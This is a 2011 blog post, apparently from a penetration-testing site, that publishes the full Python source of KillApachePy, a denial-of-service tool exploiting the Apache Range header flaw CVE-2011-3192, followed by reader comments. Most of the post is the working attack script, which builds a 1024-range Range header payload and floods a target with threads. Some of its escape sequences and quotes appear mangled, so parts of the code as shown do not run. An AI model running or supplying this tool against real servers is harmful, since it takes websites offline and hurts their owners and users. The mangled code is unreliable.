KillApachePy: The Python Range Header Apache Killer!

by Mayuresh on November 26, 2011

in Open Source, Penetration Testing

KillApachePyIf you remember, back in August this year we posted about a DoS tool that freezes a Apache web server – . Recently, Miroslav Štampar one of the co-authors of the awesome sqlmap tool programmed a Python variant of the same attack with a few more options and called it KillApachePy.

As you remember the vulnerability was assigned CVE-2011-3192 as its CVE identifier. KillApachePy is a Python version of the tool, which aims to be more user friendly and has few program workflow enhancements, like automatic usage of maximum (system) allowed thread number, setting custom HTTP method (GET/HEAD/…), custom target page for retrieval, proxy support, etc. As it always has been with his code, it is small, efficient and highly optimised!

Python v2.5.x-v2.7.x is recommended for running KillApachePy.

Source code of KillApachePy:

#!/usr/bin/env python

import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse

NAME        = "KillApachePy (Range Header DoS CVE-2011-3192)"
VERSION     = "0.1d"
AUTHOR      = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)"
LICENSE     = "Public domain (FREE)"

SLEEP_TIME      = 3     # time to wait for new thread slots (after max number reached)
RANGE_NUMBER    = 1024  # number of range subitems forming the DoS payload
USER_AGENT      = "KillApachePy (%s)" % VERSION

def attack(url, user_agent=None, method='GET', proxy=None):
    url = ("http://%s" % url) if '://' not in url else url
    host = urlparse.urlparse(url).netloc

    if proxy and not re.match('Ahttp(s)?://[^:]+:[0-9]+(/)?Z', proxy, re.I):
        print "(x) Invalid proxy address used"
        exit(-1)

    proxy_support = urllib2.ProxyHandler({'http': proxy} if proxy else {})
    opener = urllib2.build_opener(proxy_support)
    urllib2.install_opener(opener)

    class _MethodRequest(urllib2.Request): # Create any HTTP (e.g. HEAD/PUT/DELETE) request type with urllib2
        def set_method(self, method):
            self.method = method.upper()

        def get_method(self):
            return getattr(self, 'method', urllib2.Request.get_method(self))

    def _send(check=False): #Send the vulnerable request to the target
        if check:
            print "(i) Checking target for vulnerability..."
        payload = "bytes=0-,%s" % ",".join("5-%d" % item for item in xrange(1, RANGE_NUMBER))
        try:
            headers = { 'Host': host, 'User-Agent': user_agent or USER_AGENT, 'Range': payload, 'Accept-Encoding': 'gzip, deflate' }
            req = _MethodRequest(url, None, headers)
            req.set_method(method)
            response = urllib2.urlopen(req)
            if check:
                return response and ('byteranges' in repr(response.headers.headers) or response.code == 206)
        except urllib2.URLError, msg:
            if any([item in str(msg) for item in ('Too many', 'Connection reset')]):
                pass
            elif 'timed out' in str(msg):
                print "r(i) Server seems to be choked ('%s')" % msg
            else:
                print "(x) Connection error ('%s')" % msg
                if check or 'Forbidden' in str(msg):
                    os._exit(-1)
        except Exception, msg:
            raise

    try:
        if not _send(check=True):
            print "(x) Target does not seem to be vulnerable"
        else:
            print "(o) Target seems to be vulnerablen"
            quit = False
            while not quit:
                threads = []
                print "(i) Creating new threads..."
                try:
                    while True:
                        thread = threading.Thread(target=_send)
                        thread.start()
                        threads.append(thread)
                except KeyboardInterrupt:
                    quit = True
                    raise
                except Exception, msg:
                    if 'new thread' in str(msg):
                        print "(i) Maximum number of new threads created (%d)" % len(threads)
                    else:
                        print "(x) Exception occured ('%s')" % msg
                finally:
                    if not quit:
                        print "(o) Waiting for %d seconds to acquire new threads" % SLEEP_TIME
                        time.sleep(SLEEP_TIME)
                        print
    except KeyboardInterrupt:
        print "r(x) Ctrl-C was pressed"
        os._exit(1)

if __name__ == "__main__":
    print "%s #v%sn by: %sn" % (NAME, VERSION, AUTHOR)
    parser = optparse.OptionParser(version=VERSION)
    parser.add_option("-u", dest="url", help="Target url (e.g. "http://www.target.com/index.php")")
    parser.add_option("--agent", dest="agent", help="User agent (e.g. "Mozilla/5.0 (Linux)")")
    parser.add_option("--method", dest="method", default='GET', help="HTTP method used (default: GET)")
    parser.add_option("--proxy", dest="proxy", help="Proxy (e.g. "http://127.0.0.1:8118")")
    options, _ = parser.parse_args()
    if options.url:
        result = attack(options.url, options.agent, options.method, options.proxy)
    else:
        parser.print_help()

Check out more about KillApachePy here – https://github.com/stamparm/KillApachePy

If you enjoyed this article, you might also like:

{ 4 comments… read them below or add one }

yoda November 26, 2011 at 10:44 pm

Hello,

when i try, i got:

$ python killapachepy.py
File “killapachepy.py”, line 90
parser.add_option(“-u”, dest=”url”, help=”Target url (e.g. “http://url.com/index.php”)”)
^
SyntaxError: invalid syntax

Reply

Mayuresh November 27, 2011 at 10:40 am

I think you are trying to edit the source to run against a target URI. Instead, let the source be and pass the URI as an argument.

Reply

David November 27, 2011 at 2:30 pm
Mayuresh November 28, 2011 at 9:38 am

Yes. That works fine too! Can be used on systems that do not have Python installed.

Reply

Leave a Comment

* Copy this password:

* Type or paste password here:

Previous post:

Next post: